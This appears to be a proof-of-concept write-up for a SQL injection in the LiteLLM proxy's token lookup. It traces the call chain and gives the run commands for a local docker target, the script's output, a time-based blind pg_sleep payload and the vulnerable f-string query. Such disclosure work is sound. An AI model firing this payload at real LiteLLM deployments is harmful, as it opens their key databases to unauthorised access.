HTTP request: Authorization: Bearer <payload>
  → assert api_key.startswith("sk-") fails
  → _handle_authentication_error(api_key=RAW_TOKEN)
  → post_call_failure_hook
  → _enrich_failure_metadata_with_key_info
  → get_key_object(hashed_token=RAW_TOKEN)
  → get_data(token=RAW_TOKEN, table_name="combined_view")
  → SQL: WHERE v.token = '{RAW_TOKEN}'  ← INJECTION

docker compose up -d

pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL Injection PoC                        ║
║   GHSA-r75f-5x8p-qvmc | CVE: Pending                    ║
║   Affected: litellm >=1.81.16, <1.83.7                  ║
║   Attack: time-based blind via error-handling callback    ║
╚═══════════════════════════════════════════════════════════╝

[*] Checking target: http://localhost:4000
[+] Target alive (status 200)

[*] Measuring baseline (3 requests)...
  Baseline avg: 0.022s

[*] Control: non-sk- token without pg_sleep...
  Control: 0.024s

=======================================================
  Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
  Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  Response: 5.018s

[+] VULNERABLE! pg_sleep(5) confirmed

' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--

# Vulnerable code (<=v1.83.3)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   ← f-string interpolation of user input
"""